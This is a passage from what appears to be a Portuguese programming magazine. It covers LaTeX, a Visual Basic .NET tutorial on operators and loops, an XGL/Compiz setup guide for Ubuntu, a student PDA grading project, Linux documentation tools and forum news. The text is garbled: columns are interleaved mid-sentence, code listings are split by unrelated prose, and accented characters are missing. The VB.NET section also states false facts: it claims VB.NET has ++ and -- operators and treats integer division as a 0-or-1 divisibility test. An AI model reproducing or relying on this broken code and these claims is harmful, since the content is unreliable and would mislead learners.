to trivial como escrever um simples texto. No entanto com
ferramentas como o Equation do MSWord o tempo
despendido sempre o mesmo, por mais prtica que se tenha
com esta ferramenta.

A titulo de curiosidade aqui fica o efeito da Srie de Taylor:

As frmulas matemticas no so tudo em LaTeX, mas sem A partir do LaTeX, muitas outras ferramentas foram criadas
qualquer sombra de dvida que so um dos seus maiores para uma maior amplitude de funcionalidades, sendo uma
trunfos. delas o latex2html que tal como o nome indica, cria
documentos HTML a partir de um ficheiro .tex estruturando os
Falando agora em documentos mais tradicionais, quanto mesmos de uma forma muito similar dos documentos gerados
tempo se perde a ir a menus para criar um titulo de forma a partir do LaTeX sendo as prprias frmulas transformadas
que o Word consiga identificar o mesmo para o catalogar no em imagens de forma a no corromper o produto final.
ndice desse documento? Em documentos pequenos isto mal Felizmente existe muita informao sobre LaTeX na World
se nota, agora em documentos com 30 captulos, cada um Wide Web, so inmeras as comunidades que prestam
com 20 seces, j imaginaram o tempo que se perde? Em assistncia vasta quantidade de curiosos e autores
LaTeX para criar um capitulo, seco e outros cabealhos transformando esta ferramenta numa das mais bem
to simples quanto isto: documentadas dentro da rea, quem sabe se no ser mais
um curioso?

</HecKel>

<13>
<Tutorial> Visual Basic .NET 2 parte

NOTA: A diviso inteira (\) permite-nos saber se, por exemplo,


a divisvel por b. devolvido o valor 0 caso a diviso se
verifique e 1 caso no se verifique.

Operadores Lgicos
Aqui tm a continuao do tutorial de Visual
Basic, iniciado na edio anterior. Os operadores lgicos podem ser considerados, muito
resumidamente, como classes de operaes sobre variveis e
elementos. AND, OR e NOT so os exemplos mais
Operadores conhecidos dos operadores lgicos. Ao utilizar o operador
Operadores Aritmticos (+, -, *, /, \, %, ^) AND, a expresso ir ser verdadeira se ambas as condies

Operadores Lgicos (e, ou, no) se verificarem, caso contrrio ser retornado Falso o valor

Operadores Relacionais (=, <, >, <=, >=, <>) booleano da expresso. No caso do OR, ser retornado o

Estruturas de Controlo valor booleano Verdadeiro se uma ou ambas as condies
Estruturas Condicionais (ifthen / if ... then else / retornarem verdadeiro, caso contrrio ser falsa a expresso.
select case) Por fim, numa expresso que contenha o operador NOT,
Estruturas Cclicas (while / do while / for next) ser retornado o inverso do valor booleano devolvido pela
condio, Verdadeiro se for Falso e Falso se for Verdadeiro.
Operadores Aritmticos
AND OR NOT
Os operadores aritmticos so usados para desenvolver X1 X2 X1 and X2 X1 X2 X1 or X2 X1 Not X
operaes matemticas. As operaes aritmticas mais usadas 0 0 0 0 0 0
0 1
em qualquer linguagem so a soma (+), a subtraco (-), a 0 1 0 0 1 1
1 0 0 1 0 1
multiplicao (*) e a diviso (/), a diviso inteira (\) e a 1 0
1 1 1 1 1 1
potncia (^).
Outros operadores aritmticos so os operadores de Exemplo:
incremento e decremento, representados em VB.NET
respectivamente por ++ e --. Exemplo:
(AND)
Sub Main()
Dim a, b As Integer Sub Main()
Console.Write("Insira o valor de 'a': ") Dim a, b As Integer
a = CInt(Console.ReadLine()) Console.WriteLine("Insira o valor de
Console.Write("Insira o valor de 'b': ") 'a': ")
b = CInt(Console.ReadLine()) a = CInt(Console.ReadLine())
Console.WriteLine("Insira o valor de
Console.WriteLine("Multiplicao: a * b 'b': ")
= {0}", a * b) b = CInt(Console.ReadLine())
Console.WriteLine("Diviso: a / b =
{0}", a / b) If a > 10 And b < 10 Then
Console.WriteLine("Soma: a + b = {0}", a Console.WriteLine("Verdadeiro - ambas
+ b) as condies so verdadeiras")
Console.WriteLine("Subtrao: a - b = Else
{0}", a - b) Console.WriteLine("Falso - pelo menos
Console.WriteLine("Diviso Inteira: a \ uma das condio falsa")
b = {0}", a \ b) End If
Console.WriteLine("Potncia: a ^ b = End Sub
{0}", a ^ b)
Console.ReadLine()
End Sub

<14>
Visual Basic .NET 2 parte <Tutorial>
Operadores Relacionais
(OR)
As estruturas condicionais podem ser tambm designadas por
Sub Main() estruturas de Seleco. Este tipo de estruturas esto divididas
Dim a, b As Integer em seleco de 1 via, de 2 vias e de N vias. Uma estrutura de
Console.WriteLine("Insira o valor de seleco de 1 via definida pelo conhecido if onde ser
'a': ") executado um bloco de cdigo quando a expresso
a = CInt(Console.ReadLine()) verdadeira. Exemplo:
Console.WriteLine("Insira o valor de
'b': ") Sub Main()
b = CInt(Console.ReadLine()) Dim idade As Integer
Console.WriteLine("Insira a sua idade:
If a > 10 Or b < 10 Then ")
Console.WriteLine("Verdadeiro - pelo idade = CInt(Console.ReadLine())
menos uma das condies verdadeira") If idade >= 18 Then
Else Console.WriteLine("Voce ja e maior de
Console.WriteLine("Falso - ambas as idade")
condies so falsas") End If
End If Console.ReadLine()
End Sub End Sub

(NOT) Uma estrutura de seleco com 2 vias definida pelo if


...thenelse, onde ser executado um bloco de cdigo caso
Sub Main() a expresso seja verdadeira e outro bloco de cdigo quando a
Dim a As Integer expresso falsa. Exemplo:
Console.WriteLine("Insira o valor de
'a': ") Sub Main()
a = CInt(Console.ReadLine()) Dim n As Single
n = CSng(Console.ReadLine())
If Not (a > 10) Then If (n > 9) Then
Console.WriteLine("O valor de 'a' 'Expresso verdadeira
menor que 10") Console.WriteLine("Voc est
Else aprovado")
Console.WriteLine("O valor de 'a' Else
maior que 10") 'Expresso falsa
End If Console.WriteLine("Voc est
End Sub Reprovado")
End If
Console.ReadLine()
Operadores Relacionais End Sub

Os operadores relacionais surgem normalmente Por fim, a estrutura de seleco com N vias definida pelo
acompanhados de uma estrutura condicional ou de uma Select Case. Aqui no feita a seleco da via a seguir
estrutura cclica por exemplo. So usados para verificar a consoante uma expresso lgica mas sim do estado de algo
veracidade ou no, de uma expresso. Os operadores (varivel, objecto, etc). Exemplo:
relacionais mais usados so:
Sub Main()
Smbolo Designao Dim mes As Integer
Console.Write("Insira o numero do mes
= Igual a em que nasceu: ")
< Menor que mes = CInt(Console.ReadLine)
> Maior que 'Seleco com N vias
<= Menor ou igual que Select Case mes
>= Maior ou igual que Case Is = 1, 3, 5, 7, 8, 10, 12
<> Diferente de Console.WriteLine("Nasceu num ms
com 31 dias.")
Case Is = 4, 6, 9, 11
Exemplos: Ver estruturas condicionais ou estruturas cclicas Console.WriteLine("Nasceu num ms
com 30 dias.")

<15>
<Tutorial> Visual Basic .NET 2 parte

Exemplo:
Case Is = 2
Console.WriteLine("Nasceu num ms Sub Main()
com 28/29 dias") Dim input As Integer
End Select Do
Console.ReadLine() Console.Clear() 'Apaga o ecr
End Sub Console.Write("Insira um valor maior
que 10: ")
input = CDec(Console.ReadLine()) 'Le
um valor inserido pelo utilizador e
converte-o para decimal
Operadores Cclicas Loop Until input > 10
Console.WriteLine("O numero que inseriu
As estruturas cclicas so aquelas que permitem a execuo foi {0}", input)
repetida de uma determinada instruo controlada por uma Console.ReadLine() 'Esta linha apenas
expresso lgica. Em VB.NET, estas estruturas so usadas faz com o programa s encerre depois do
recorrendo ao while, dowhile e fornext. utilizador carregar numa tecla qualquer
End Sub

While Neste exemplo, o nmero de vezes a inserir o nmero igual


ao nmero de vezes em que o utilizador ir inserir um nmero
O ciclo while permite que um determinado bloco de cdigo menos que 10. A nica diferena estaria se a inicializao ou
seja repetido enquanto que uma operao lgica se verificar. estado da varivel input contivesse um valor maior que 10
antes do bloco Dowhile. Caso o valor da varivel input
Exemplo (o utilizador tem que inserir um valor maior que 10): fosse 12, o ciclo seria repetido pelo menos uma vez, pois
apenas faz a verificao da operao lgica no fim, no
acontecendo isso num ciclo while em que a verificao da
Sub Main() operao lgica feita antes de executar o cdigo dentro do
Dim input As Integer ciclo.
While input <= 10
Console.Clear() 'Apaga o ecr
Console.Write("Insira um valor maior
que 10: ")
ForNext
input = CDec(Console.ReadLine()) 'Le
um valor inserido pelo utilizador e A estrutura de repetio do ciclo For igual s anteriores,
converte-o para decimal sendo a nica diferena a especificao do nmero de vezes
End While que o ciclo vai ser efectuado.
Console.WriteLine("O numero que inseriu
foi {0}", input)
Console.ReadLine() 'Esta linha apenas
Exemplo:
faz com o programa s encerre depois do
utilizador carregar numa tecla qualquer
End Sub Sub Main()
Dim i As Integer
Dim input As String
For i = 0 To 10
input &= CStr(Console.ReadLine()) & "
DoWhile "
Next
O ciclo DoWhile idntico ao ciclo while, diferenciando Console.Clear()
Console.WriteLine("Dados inseridos:
apenas num aspecto. Este ciclo executado sempre pelo {0}", input)
menos uma vez, pois a operao lgica apenas verificada no Console.ReadLine()
fim do bloco de cdigo que est definido para executar End Sub
repetidamente.

</_nEVERmind & marceluh>

<16>
XGL e Compiz no Ubuntu Dapper Drake <GNU/Linux>

Agora procure a seco Devices.

Altere tudo menos a linha Identifier para que se parea com


o seguinte:

Section "Device"
Identifier # no alterar
Driver "nvidia"
BusID "PCI:1:0:0"
Eyecandy para todos Option "RenderAccel" "true"
Option "AllowGLXWithComposite" "true"
EndSection
Na ltima edio apresentmos o XGL, a nova
arquitectura. Nesta edio vamos aplic-la ltima
verso da distribuio Ubuntu.
Se mais tarde o Compiz no funcionar (e se queixar da
composite extension), adicione isto ao fundo:

Algumas notas:
Section "Extensions"
Option "Composite" "Enable"
preciso a verso CVS mais recente do glitz para que o Xgl EndSection
funcione com placas Nvidia que no tm Pixel Shaders (ou
seja, tudo abaixo da 5200FX).
No adicione em caso contrrio.
ESTE PROCESSO INUTILIZA O XINERAMA E TWINVIEW,
portanto Dual Head est fora de questo. Muito importante: Certifique-se que a profundidade de cores
Tambm se assume que est a utilizar os ltimos drivers dos 24!
repositrios. Para os obter digite o seguinte comando: Agora salve o ficheiro e feche-o.

sudo apt-get install nvidia-kernel-common


nvidia-glx
2 Instalar o Xgl

Corra o seguinte comando numa instalao vanilla1:


1 Configurao do xorg.conf
sudo apt-get install compiz xserver-xgl
Agora vamos editar alguns parmetros do xorg.conf. O libgl1-mesa xserver-xorg libglitz-glx1
primeiro passo abri-lo com o seguinte comando: compiz-gnome

sudo gedit /etc/X11/xorg.conf


O prximo passo configurar o GDM para correr sobre Xgl:

sudo gedit /etc/gdm/gdm.conf-custom


Procure a seco Module Comente as partes Glcore e
dri e certifique-se que possui o glx. Basicamente fica
assim: Faa com que o ficheiro fique EXACTAMENTE com este
aspecto:
# Load "GLcore"
# Load "dri"
1 Instalao limpa do sistema operativo.
Load "glx"

<17>
<GNU/Linux> XGL e Compiz no Ubuntu Dapper Drake

# GDM Configuration Customization file.


# Leia o resto deste pargrafo e depois reinicie. Depois do login
# ...vrias linhas de texto comentado... no GDM, abra um terminal e corra este comando:
#
# NOTE: Lines that begin with "#" are
considered comments. xmodmap /usr/share/xmodmap/xmodmap.pt
#
# Have fun!

[daemon] Chegou a hora da verdade! Corra o seguinte comando:


[security]
thefuture
[xdmcp]

[gui]

[greeter] Divirta-se! Alguns comandos base:


[chooser]
CTRL + ALT + Esquerda/Direita - Muda o lado do cubo.
[debug]

[servers]# Override display 1 to use Xgl CTRL + ALT + SHIFT + Esquerda/Direita A aplicao
(DISPLAY 1 IMPORTANT FOR ATI FGLRX). seleccionada movida para uma nova face do cubo.
0=Xgl

[server-Xgl]
CTRL + ALT + Esquerda + Click no desktop Permite usar o
name=Xgl server rato para fazer girar o Cubo.
command=/usr/bin/Xgl :0 -fullscreen -ac -accel
glx:pbuffer -accel xv:fbo
F12 - Expos2
flexible=true

Alt- Tab - Switcher ao estilo Vista

3 Fazer o compiz funcionar!


Notas do autor:
Primeiro comeamos por criar um script thefuture

sudo gedit /usr/bin/thefuture


Existem alguns posts no frum www.ubuntuforums.org
dedicados configurao e utilizao do Xgl/compiz.
Desde a entrada oficial do compiz nos repositrios CVS
Um ficheiro vazio ser criado. Coloque estes comandos:
existem algumas pessoas na comunidade Ubuntu que se
dedicaram a fazer plugins para o compiz.
#!/bin/bash
gnome-window-decorator & compiz -- possvel, atravs da instalao de novos pacotes do compiz,
replace gconf decoration wobbly fade obter mais funcionalidades no compiz, melhorando a
minimize cube rotate zoom scale move interaco com o utilizador.
resize place switcher &

</xplod_me>
Agora salve o ficheiro. Defina as permisses para executvel:
2 No Mac OS X, Expos uma ferramenta para manejar janelas
sudo chmod 755 /usr/bin/thefuture abertas (especialmente quando so em nmero elevado),
permitindo ao utilizador ver rapidamente todas as janelas
abertas num formato miniatura. Bastante til.

<18>
Adio de classificaes por PDA <Projecto>

Introduo
Base de Dados
No passado ano lectivo de 2005/2006, foi desenvolvido pelos
alunos Lus Madureira e Pedro Ramos, um projecto para Para a organizao dos dados referentes ao nosso trabalho prtico,
possibilitar ao pessoal docente do Instituto Superior segundo um esquema relacional, foram utilizadas catorze tabelas,
Politcnico Gaya, carregar as classificaes dos alunos por com todos campos necessrios, armazenadas numa base de dados
intermdio de um PDA (Personal Digital Assistants). SQL Server.

Este projecto foi desenvolvido para a cadeira de Seminrio do A aplicao para dispositivos mveis
5 Ano do curso de Engenharia Informtica.

Resumo A aplicao criada para correr em PDAs consiste basicamente


em quatro formulrios principais: um para login/validao de
A tecnologia de Web Services vem-se destacando como uma docentes, um para seleccionar qual o curso/disciplina/poca
boa opo para as comunicaes remotas. Isto deve-se ao que pretendemos lanar a nota, um para o lanamento das
facto desta tecnologia utilizar XML, o que permite que notas com a informao seleccionada na parte anterior e por
aplicaes de diferentes plataformas se possam comunicar. Da fim um que permite consultar o perfil do aluno seleccionado.
mesma forma, a utilizao de dispositivos computacionais
mveis tem se tornado cada vez mais popular. O primeiro, o formulrio principal, composto por dois
objectos da classe text box que so utilizados para registar
Esquema representativo Login/Palavra-chave, recuperadas pelo evento
LogCommand_Click que despoletado pelo click sobre o boto
Este projecto consiste na implementao/desenvolvimento de Entrar.
uma soluo para possibilitar ao pessoal docente do Instituto
Superior Politcnico Gaya, carregar as classificaes dos seus
alunos por intermdio de um PocketPC.

O mtodo de trabalho adoptado ter em conta a elaborao


de interfaces grficos e Web Services.

Resumidamente, este modelo pode ser ilustrado pela


ilustrao 1.

Ilustrao 2 1 Formulrio

Ilustrao 1 Imagem ilustrativa do projecto

<19>
<Projecto> Adio de classificaes por PDA

O segundo formulrio composto por trs objectos da classe


Selection List, que so utilizados para seleccionar a disciplina,
curso e poca, recuperadas pelo evento LogCommand_Click
que despoletado pelo click sobre o boto Entrar, presente no
formulrio anterior.
Possui tambm um link de nome Seguinte que permite entrar
no formulrio 3, levando a disciplina, curso e poca
previamente seleccionados.

Ilustrao 4 3 Formulrio

O quarto formulrio composto por um objecto object list,


que permite visualizar a informao respeitante ao perfil do
aluno. Possui um link Voltar, que utilizado para retroceder
no formulrio.

Diagrama de Caso de Uso


Ilustrao 3 2 Formulrio
Carregamento de Notas

O terceiro formulrio composto por um objecto da classe


Inserir
text box, que permite escrever a classificao do Aluno. classificaes
Possui tambem uma object list, que utilizada para listar
nome e notas dos alunos inscritos para a
disciplina/curso/poca, seleccionados no formulrio anterior.
Possui uma selection list, que utilizada para indicar qual o
estado das notas.
Docente Consultar
Possui um link Guardar, que utilizado para guardar as notas classificaes
na base de dados.
Possui tambm um link de nome Ver que permite obter
algumas informaes sobre o aluno.

</Evil Knievel>

<20>
Documentao profissional em GNU/Linux <Anlises>

Criar documentao profissional


com ferramentas em GNU/Linux
Quando desenvolvemos um software, pensamos
obrigatoriamente em equipa-lo de documentao para
que nada falte ao utilizador ou at mesmo a ns,
programadores, em actualizaes futuras.
Apesar de em GNU/Linux no termos importantes e
conhecidas ferramentas de criao de documentao como o
RoboHelp, WebWorks Publisher ou o FrameMaker, este
ambiente cada vez mais utilizado por escritores de material
tcnico. De seguida sero apresentadas algumas das mais
importantes e mais utilizadas ferramentas de criao de
documentao para GNU/Linux. DITA
Nos ltimos anos, o Darwin Information Typing Architecture
(DITA) tem ganho utilizadores ao DocBook. Este software tem
DocBook XML uma caracterstica diferente de todos os outros programas de
criao de documentao: em vez de se basear na tradicional
O DocBook Project no uma aplicao, mas escrita captulo a captulo, o DITA estrutura a documentao
incondicionalmente a melhor ferramenta no que toca a criao por tpicos individuais que o utilizador pode combinar e re-
de documentao em Linux. uma variante de XML usar em diferentes tipos de documentao e em diferentes
desenhada para criar manuais de software e hardware, formatos. Podemos usar o DITA para criar qualquer tipo de
dependendo do que queremos fazer. Com o DocBook documentao, mas este tem uma certa apetncia para criar
podemos criar documentao em diferentes formatos, contedo Web, ajuda online, computer-based training e FAQs.
inclundo PDF e PostScript (para impresso), HTML, HTML
Help e JavaHelp. Podemos ainda criar documentos mltiplos J que o DITA tambm baseado em XML, podemos usar
com o mesmo contedo, mas orientados para diferentes qualquer editor XML para criar e editar os documentos DITA.
utilizadores ou sistemas operativos distintos. Isto permite ao Muitos dos editores suportam DITA e correm em sistemas
utilizador manter toda a informao num s ficheiro, em vez GNU/Linux.
de ser em mltiplos documentos. Neste momento, a nica forma de converter um documento
DITA para outro formato em GNU/Linux atravs do DITA
J que os ficheiros do DocBook so em XML, podemos sempre Open Toolkit para Linux. O DITA Open Toolkit fcil de usar
edit-los em editores de texto ou de XML. Alguns escritores e converte contedo DITA em contedo HTML, XHTML, PDF,
usam Emacs com os pacotes nXML ou psgmlx. Outros usam ajuda Eclipse ou RTF.
Vim, em conjunto com alguns scripts. O Vim pode ser usado
como um dos editores DocBook. Vex, um editor XMl baseado
no Eclipse outro excelente editor DocBook, assim como o
XMLmind XML Editor, um editor WYSIWYG escrito em Java.

Para produzirmos um melhor e mais agradvel design nos


nossos documentos, aplicamos uma stylesheet baseada em
XSL, que, ao passar por um processador XSL, este faz o
trabalho de interpretar o cdigo XSL. Assim, os nossos
documentos passaro a ser mais agradveis visualmente e,
portanto, vamos contribuir para uma melhor imagem do
utilizador em relao ao software e sua documentao.

<21>
<Anlises> Documentao profissional em GNU/Linux
Ajuda online Apesar de fazerem uma parte da tarefa, estas ferramentas
no fazem todo o trabalho. Os programadores tm de
Nem toda a gente gosta de estar a fazer download de
comentar o cdigo que escrevem e precisam de adicionar
manuais para solucionar uma dvida que tem em relao a
exemplos e informao extra para que estas ferramentas
um certo programa: muitos dos utilizadores preferem carregar
organizem essa informao sob a forma de documentao de
F1 e obter logo ajuda. Embora as ferramentas em GNU/Linux
ajuda. Assim sendo, estas ferramentas facilitam o trabalho do
no se possam ainda comparar s mesmas em Windows, j
programador, mas sempre necessrio dar informao
existem algumas que fazem sucesso dentro e fora da
suficiente s mesmas para que elas faam aquilo para que
comunidade e ajudam o utilizador a escrever ajuda online.
esto programadas.
O QuickHelp, uma das mais populares em criao de ajuda
online, uma aplicao com vertente grfica que ajuda os
escritores de material tcnico a escreverem tpicos de ajuda
de forma simples. Esta aplicao permite-nos ainda juntar os
tpicos a um sistema de ajuda profissional, que inclui
navegao, index e at um pequeno motor de busca. O maior
problema desta aplicao que paga para ser utilizada, ou
seja, no uma software livre.
JavaHelp uma aplicao desenhada para fornecer ajuda
online para software escrito em Java. um sistema poderoso
e flexvel, e em GNU/Linux podemos encontrar montanhas de
ferramentas de criao de sistemas JavaHelp. Como exemplos
temos o JHelpDev e o JHelp Builder, que fornecem um
ambiente grfico no qual podemos criar tpicos de ajuda e Outras ferramentas
todos os ficheiros de suporte necessrios a um sistema Criar documentao no s e apenas escrever. Criar
JavaHelp. De salientar que o DocBook XML pode tambem documentao tambem envolve trabalho grfico e com
produzir JavaHelp. ilustraes, assim como capturar screenshots. Portanto, para
O HelpSetMaker uma ferramenta grfica de ajuda que conciliar todas estes factores paralelos com a criao de
produz ficheiros em HTML, em sistema JavaHelp, ou em documentao vamos precisar de mais aplicaes, entre elas
LaTeX. O utilizador simplesmente escreve tpicos de ajuda na algumas bem conhecidas.
interface e pode adicionar imagens assim como hiperligaes. Se precisarmos de editar imagens, o GIMP a melhor
O maior problema do HelpSetMaker que a interface no ferramenta do ramo em GNU/Linux. Para alm de ter o poder
intuitiva o suficiente, em comparao com o resto das de editar imagens, este programa permite ainda tirar
funcionalidades da ferramenta. screenshots para dar exemplos na documentao. Outra
Se o utilizador precisar de criar ajuda para multiplos sistemas aplicao a considerar o Krita, o editor de imagem que faz
operativos, deve considerar a aplicao WebHelp. WebHelp parte da suite de aplicaes KOffice.
um bom mtodo para criar ajuda online ou documentao no Para ilustraes e flowcharts, algumas das melhores
browser. O formato WebHelp foi popularizado com o aplicaes de GNU/Linux so o Sodipodi, Dia e Kivio. Todos
programa Macromedia RoboHelp e est em alta no mundo de eles contm ferramentas poderosas que podem ser usadas
GNU/Linux. para criar todo o tipo de diagramas. E cada uma delas pode
Documentao do programador exportar os diagramas criados para formatos mais conhecidos,
como .jpeg,.gif,entre outros.
Para programadores, criar documentao para cdigo um
trabalho duro. Na verdade, a mais difcil de todas as tarefas O software referido neste artigo s foca algumas das
de documentao. possibilidades inseridas no processo de criao de
documentao em GNU/Linux. Existem centenas de aplicaes
Mas para facilitar a tarefa do programador, existem
criadas para este ramo que no foram aqui referidas, pelo que
ferramentas que fazem esse trabalho, e, portanto, geram
continuam a no ser to utilizadas como estas. Talvez at
documentao de cdigo-fonte. Programas como o Doxygen,
existam aplicaes bem melhores, quem sabe. tudo uma
DOC++, ROBODoc e o NaturalDocs so ideiais para realizar
questo de continuar a experimentar e a explorar
esta rdua tarefa. Cada uma destas ferramentas cria
documentao em diferentes formatos para diferentes </deathseeker25>
linguagens, inclundo C/C++, Perl, Java e IDL.

<22>
Nano Site-Contest <Internet>

Foi realizado um concurso no frum Portugal-a-Programar, com o intuito de avaliar os sites criados pelos nossos
membros. Para alm do aspecto, tambm foram avaliadas as tecnologias usadas e o nvel de programao efectuado.
Os resultados foram os seguintes:

1 Lugar
http://www.quickfire.info
QuickFire

Web Design: 9
Programao: 10
Total: 19

Notas: Pela excelente programao, utilizao de tecnologias que mais nenhum utilizador usou e pela qualidade do design e
construo inerente.

2 Lugar
http://favoritos.sergiomatias.net
perdido_e_sozinho

Web Design: 9
Programao: 9
Total: 18

Notas: Por um design muito bom, web application style, e uma programao muito boa. Muitas funcionalidades e uma grande
interaco com os utilizadores.

3 Lugar
http://sergiomatias.net
perdido_e_sozinho

Web Design: 9
Programao: 8
Total: 17

Notas: Um excelente design, simplista mas ao mesmo tempo rico em pormenores. Programao bem elaborada, site tableless,
envio de e-mail online, listagem do portflio...

<23>
<Blue screen>

Windows no seu melhor...

Extreme cooling

Antiga pgina 404 iraquiana

<24>
<\Revista>

A Comunidade P@P
ParceriasactuaisdoP@P
Dois meses passaram desde o lanamento da ltima
edio e muitas coisas tm sido aperfeioadas na
comunidade: o staff chegou a um consenso sobre a
nova organizao das seces, o que far com que o
frum ganhe um aspecto muito mais profissional. A
informao estar melhor agrupada nas devidas
seces, haver maior rigidez na forma como se posta, TechzonePTwww.techzonept.com
na forma como se pergunta e na forma como se
responde. Vamos tentar fazer com que todos os
utilizadores respeitem as regras e consigam saber onde
colocar os tpicos que querem criar.

RedCodeStudiohttp://forum.redcodestudio.com

PCTugawww.pctuga.net

Depois queremos tambm mobilizar todos os


utilizadores para a criao de aplicaes neste vero.
Ainda no est definido o que vamos fazer exactamente
para que tal acontea, mas pretendemos mobilizar todo
o frum numa espcie de P@P Summer of Code,
imitando assim o famoso Google Summer of Code. Foruns.orgwww.foruns.org
Houve quem tivesse sugerido um concurso, mas como
no h ainda solues por parte de toda a organizao
do frum no vou adiantar mais pormenores sobre o
acontecimento.

Todos os utilizadores esperam que seja um Vero cheio


de cdigo, cheio de inovaes e cheio de novos
projectos. Ns tambm. E estamos a trabalhar nesse PTServerswww.ptservers.org
sentido...

<25>

Você também pode gostar